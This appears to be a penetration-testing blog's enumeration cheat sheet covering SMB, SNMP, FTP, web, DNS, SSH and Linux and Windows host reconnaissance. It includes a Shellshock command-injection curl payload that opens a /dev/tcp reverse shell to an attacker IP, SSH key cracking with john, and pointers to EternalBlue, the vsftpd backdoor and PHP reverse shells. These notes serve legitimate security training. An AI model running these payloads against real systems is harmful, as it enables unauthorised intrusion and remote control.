Enumeration on Garrettoh's Research / Blog

Mon, 01 Jan 0001 00:00:00 +0000

List Shares net share

SMB Enumeration (445, 139)

Check Shares (Null Session)
- smbclient -L //<IP> -N
User Enumeration
- enum4linux-ng -A <IP>
- crackmapexec smb <IP> --users
Detailed Share Access
- smbmap -H <IP> (Check for READ/WRITE permissions)
Download Files
- smbclient //<IP>/<SHARENAME> -> recurse ON, prompt OFF, mget *

Follow-up checks:

EternalBlue (MS17-010): Check with nmap --script smb-vuln-ms17-010 -p 445 <IP>
PrintNightmare: If you have low-priv credentials.
Sensitive Data: Look for web.config, settings.json, or .txt files containing passwords.

References

HackTricks: SMB

Mon, 01 Jan 0001 00:00:00 +0000

SNMP Enumeration (161 UDP)

Community String Guessing
- onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP>
Full Walk (Look for Users/Processes)
- snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.4.2.1.2
Check for Software Versions
- snmp-check <IP>

Follow-up checks:

Extracting cleartext passwords from running process parameters.
Finding internal network info or hostnames for further pivoting.

References

HackTricks: SNMP

Mon, 01 Jan 0001 00:00:00 +0000

FTP Enumeration (21)

Anonymous Access
- ftp <IP> (User: anonymous | Pass: anonymous)
Binary Mode Check
- Use binary command before downloading .exe or .zip files.
Browser View
- Navigate to ftp://<IP> (Check for hidden files like .ssh/id_rsa).

Follow-up checks:

CVE-2010-4221: ProFTPD exploit.
Backdoors: vsftpd 2.3.4 (The “smiling face” exploit).
Write Access: If you can upload a file, try a PHP reverse shell if port 80 is also open.

References

HackTricks: FTP

Mon, 01 Jan 0001 00:00:00 +0000

Using a private key

chmod 600 id_ed25519
ssh -i id_ed25519 user@target

Cracking passwords

ssh2john id_ed25519 > hash.hash && sleep 2 && john --wordlist=/usr/share/wordlists/rockyou.txt hash.hash

Mon, 01 Jan 0001 00:00:00 +0000

Using dig to complete a domain transfer

dig -t AXFR DOMAIN_NAME @DNS_SERVER

Mon, 01 Jan 0001 00:00:00 +0000

Web Enumeration (80, 443, 8080)

Manual Inspection
- Check robots.txt and /sitemap.xml
- View Source (Look for `` and Dev notes)
- Check SSL Certificate (Look for subdomains/emails)
Directory Brute Force
- feroxbuster -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Vulnerability Scanning
- nikto -h http://<IP>
CMS Identification
- Wappalyzer (Browser) or whatweb <IP>
- If WP: wpscan --url http://<IP> -e u,vp

Shellshock (CGI-BIN) Check

Find CGI Scripts: Search for /cgi-bin/ directories and files ending in .sh, .cgi, or .pl.
Manual Test (Ping/Echo):
- curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://<IP>/cgi-bin/test.sh
Reverse Shell Payload:
- curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" http://<IP>/cgi-bin/test.sh

Other checks:

Mon, 01 Jan 0001 00:00:00 +0000

If you get access to AWS you might be able to find some next clues

You can use AWS via the command line like so

![[AWS.png]]

In this case we utilized AWS to gather the ssh key that we then used to crack if we want to download files on this machine the commands will be listed below

Key commands

Setting up a profile (we use this to authenticate) aws configure --profile $profilename$

Mon, 01 Jan 0001 00:00:00 +0000

Network Discovery

nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN nmap_sVsC.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN nmap_vuln.txt

rustscan –ulimit 5000 -a $target – -sC -sV -Pn -oN nmap_full

Web Content Discovery

Directory Brute Forcing

Raft Large Directories: gobuster dir -u http://$target -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50 -o gb_dirs.txt
Directory List 2.3 Medium: gobuster dir -u http://$target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -o gb_dirs2.txt

File Discovery

Searching for specific extensions (php, asp, xml, html, js, sql, gz, zip).

Mon, 01 Jan 0001 00:00:00 +0000

System info ls /etc/*-release Hostname: hostname

User binaries ls -lh /usr/bin System Binaries ls -lh /usr/sbin

User Enumeration : cat /etc/passwd Who is logged in who Who is logged in and what are they doing: w

Who last accessed the system last

What DNS server cat /etc/resolve.conf

What processes are being run (tree) ps axjf What processes are being run (search) ps aux | grep -i ''

Mon, 01 Jan 0001 00:00:00 +0000

Gather System information systeminfo

Check installed updates wmic qfe get Caption,Description

Check Services net start'

Installed apps wmic product get name,version,vendor

See the user and privileges whoami /priv User groups whoami /groups

Enumerate users net user

Enumerate groups net group or net localgroup

Enumerate users in a group net localgroup administrators

View active connections with PID and Name netstat -abno